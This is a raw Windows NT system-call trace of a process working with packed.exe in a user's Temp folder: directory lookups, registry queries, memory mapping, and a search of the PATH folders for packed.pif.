 01663  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.exe"}, 1235820, ... ) }, 1235820, ... ) == 0x0
 01664  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 100, {status=0x0, info=1}, ) }, 3, 16417, ... 100, {status=0x0, info=1}, ) == 0x0
 01665  1356   NtQueryDirectoryFile  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1,  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1, "DOCUME~1", 0, ... {status=0x0, info=138}, ) , 0, ... {status=0x0, info=138}, ) == 0x0
 01666  1356   NtClose  (100, ... ) == 0x0
 01667  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\"}, 3, 16417, ... 100, {status=0x0, info=1}, ) }, 3, 16417, ... 100, {status=0x0, info=1}, ) == 0x0
 01668  1356   NtQueryDirectoryFile  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1,  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1, "MARTIM~1", 0, ... {status=0x0, info=122}, ) , 0, ... {status=0x0, info=122}, ) == 0x0
 01669  1356   NtClose  (100, ... ) == 0x0
 01670  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\"}, 3, 16417, ... 100, {status=0x0, info=1}, ) }, 3, 16417, ... 100, {status=0x0, info=1}, ) == 0x0
 01671  1356   NtQueryDirectoryFile  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1,  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1, "LOCALS~1", 0, ... {status=0x0, info=122}, ) , 0, ... {status=0x0, info=122}, ) == 0x0
 01672  1356   NtClose  (100, ... ) == 0x0
 01673  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\"}, 3, 16417, ... 100, {status=0x0, info=1}, ) }, 3, 16417, ... 100, {status=0x0, info=1}, ) == 0x0
 01674  1356   NtQueryDirectoryFile  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1,  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1, "Temp", 0, ... {status=0x0, info=102}, ) , 0, ... {status=0x0, info=102}, ) == 0x0
 01675  1356   NtClose  (100, ... ) == 0x0
 01676  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\"}, 3, 16417, ... 100, {status=0x0, info=1}, ) }, 3, 16417, ... 100, {status=0x0, info=1}, ) == 0x0
 01677  1356   NtQueryDirectoryFile  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1,  (100, 0, 0, 0, 1235248, 616, BothDirectory, 1, "packed.exe", 0, ... {status=0x0, info=114}, ) , 0, ... {status=0x0, info=114}, ) == 0x0
 01678  1356   NtClose  (100, ... ) == 0x0
 01679  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01680  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01681  1356   NtQueryInformationFile  (92, 1238688, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01682  1356   NtCreateSection  (0xf0005, 0x0, {285184, 0}, 2, 134217728, 92, ... 100, ) == 0x0
 01683  1356   NtMapViewOfSection  (100, -1, (0x0), 0, 0, {0, 0}, 285184, 1, 0, 2, ... (0x8b0000), {0, 0}, 286720, ) == 0x0
 01684  1356   NtClose  (100, ... ) == 0x0
 01685  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01686  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 100, ) == 0x0
 01687  1356   NtQueryInformationToken  (100, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01688  1356   NtClose  (100, ... ) == 0x0
 01689  1356   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 100, ) }, ... 100, ) == 0x0
 01690  1356   NtOpenKey  (0x20019, {24, 100, 0x40, 0, 0,  (0x20019, {24, 100, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"}, ... 96, ) }, ... 96, ) == 0x0
 01691  1356   NtClose  (100, ... ) == 0x0
 01692  1356   NtQueryValueKey  (96,  (96, "Cache", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_BUFFER_OVERFLOW
 01693  1356   NtQueryValueKey  (96,  (96, "Cache", Partial, 174, ... TitleIdx=0, Type=1, Data="C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0L\0o\0c\0a\0l\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0T\0e\0m\0p\0o\0r\0a\0r\0y\0 \0I\0n\0t\0e\0r\0n\0e\0t\0 \0F\0i\0l\0e\0s\0\0\0"}, 174, ) , Partial, 174, ... TitleIdx=0, Type=1, Data= (96, "Cache", Partial, 174, ... TitleIdx=0, Type=1, Data="C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0L\0o\0c\0a\0l\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0T\0e\0m\0p\0o\0r\0a\0r\0y\0 \0I\0n\0t\0e\0r\0n\0e\0t\0 \0F\0i\0l\0e\0s\0\0\0"}, 174, ) }, 174, ) == 0x0
 01694  1356   NtClose  (96, ... ) == 0x0
 01695  1356   NtUnmapViewOfSection  (-1, 0x8b0000, ... ) == 0x0
 01696  1356   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 8192, 4, ... 9109504, 4096, ) == 0x0
 01697  1356   NtAllocateVirtualMemory  (-1, 9109504, 0, 4096, 4096, 4, ... 9109504, 4096, ) == 0x0
 01698  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 96, ) }, ... 96, ) == 0x0
 01699  1356   NtQueryValueKey  (96,  (96, "LogFileName", Partial, 536, ... ) , Partial, 536, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01700  1356   NtClose  (96, ... ) == 0x0
 01701  1356   NtOpenKey  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01702  1356   NtQueryInformationToken  (88, User, 128, ... {token info, class 1, size 36}, 36, ) == 0x0
 01703  1356   NtQueryInformationToken  (88, 15, 4, ... {token info, class 15, size 4}, 4, ) == 0x0
 01704  1356   NtClose  (88, ... ) == 0x0
 01705  1356   NtQueryVirtualMemory  (-1, 0x10000, Basic, 28, ... {BaseAddress=0x10000,AllocationBase=0x10000,AllocationProtect=0x4,RegionSize=0x2000,State=0x1000,Protect=0x4,Type=0x20000,}, 0x0, ) == 0x0
 01706  1356   NtAllocateVirtualMemory  (-1, 0, 0, 8192, 4096, 4, ... 9175040, 8192, ) == 0x0
 01707  1356   NtAllocateVirtualMemory  (-1, 0, 0, 6952, 4096, 4, ... 9240576, 8192, ) == 0x0
 01708  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01709  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01710  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\scripts"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01711  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01712  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01713  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01714  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01715  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDDK\3790~1.183\bin\x86"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01716  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01717  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01718  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01719  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01720  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDDK\3790~1.183\bin"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01721  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01722  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01723  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01724  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01725  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDDK\3790~1.183\bin\x86\drvfast\scripts"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01726  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01727  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01728  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01729  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01730  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Perl\site\bin"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01731  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01732  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01733  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01734  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01735  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Perl\bin"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01736  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01737  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01738  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01739  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01740  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01741  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01742  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01743  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01744  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01745  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01746  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01747  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01748  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01749  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01750  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\System32\Wbem"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01751  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01752  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01753  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01754  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01755  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\kktools"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01756  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01757  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01758  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01759  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01760  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\Common\Tools\WinNT"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01761  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01762  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Program Files", 0, ... {status=0x0, info=120}, ) , 0, ... {status=0x0, info=120}, ) == 0x0
 01763  1356   NtClose  (88, ... ) == 0x0
 01764  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\Program Files\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01765  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Microsoft Visual Studio", 0, ... {status=0x0, info=140}, ) , 0, ... {status=0x0, info=140}, ) == 0x0
 01766  1356   NtClose  (88, ... ) == 0x0
 01767  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01768  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01769  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01770  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01771  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\Common\MSDev98\Bin"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01772  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01773  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Program Files", 0, ... {status=0x0, info=120}, ) , 0, ... {status=0x0, info=120}, ) == 0x0
 01774  1356   NtClose  (88, ... ) == 0x0
 01775  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\Program Files\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01776  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Microsoft Visual Studio", 0, ... {status=0x0, info=140}, ) , 0, ... {status=0x0, info=140}, ) == 0x0
 01777  1356   NtClose  (88, ... ) == 0x0
 01778  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01779  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01780  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01781  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01782  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\Common\Tools"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01783  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01784  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Program Files", 0, ... {status=0x0, info=120}, ) , 0, ... {status=0x0, info=120}, ) == 0x0
 01785  1356   NtClose  (88, ... ) == 0x0
 01786  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\Program Files\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01787  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Microsoft Visual Studio", 0, ... {status=0x0, info=140}, ) , 0, ... {status=0x0, info=140}, ) == 0x0
 01788  1356   NtClose  (88, ... ) == 0x0
 01789  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01790  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01791  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01792  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01793  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Program Files\Microsoft Visual Studio\VC98\bin"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01794  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01795  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Program Files", 0, ... {status=0x0, info=120}, ) , 0, ... {status=0x0, info=120}, ) == 0x0
 01796  1356   NtClose  (88, ... ) == 0x0
 01797  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\C:\Program Files\"}, 3, 16417, ... 88, {status=0x0, info=1}, ) }, 3, 16417, ... 88, {status=0x0, info=1}, ) == 0x0
 01798  1356   NtQueryDirectoryFile  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1,  (88, 0, 0, 0, 1238156, 616, BothDirectory, 1, "Microsoft Visual Studio", 0, ... {status=0x0, info=140}, ) , 0, ... {status=0x0, info=140}, ) == 0x0
 01799  1356   NtClose  (88, ... ) == 0x0
 01800  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01801  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01802  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01803  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01804  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01805  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01806  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01807  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01808  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01809  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01810  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01811  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01812  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01813  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01814  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01815  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01816  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01817  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01818  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01819  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS"}, 1238728, ... ) }, 1238728, ... ) == 0x0
 01820  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01821  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01822  1356   NtAllocateVirtualMemory  (-1, 1347584, 0, 4096, 4096, 4, ... 1347584, 4096, ) == 0x0
 01823  1356   NtFreeVirtualMemory  (-1, (0x8c0000), 0, 32768, ... (0x8c0000), 8192, ) == 0x0
 01824  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01825  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01826  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.exe"}, 1237996, ... ) }, 1237996, ... ) == 0x0
 01827  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01828  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01829  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\packed.pif"}, 1238720, ... ) }, 1238720, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01830  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01831  1356   NtQueryAttributesFile  ({24, 12, 0x40, 0, 0,  ({24, 12, 0x40, 0, 0, "packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01832  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01833  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01834  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01835  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDDK\3790~1.183\bin\x86\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01836  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDDK\3790~1.183\bin\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01837  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDDK\3790~1.183\bin\x86\drvfast\scripts\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01838  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Perl\site\bin\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01839  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\Perl\bin\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01840  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\packed.pif"}, 1237960, ... ) }, 1237960, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
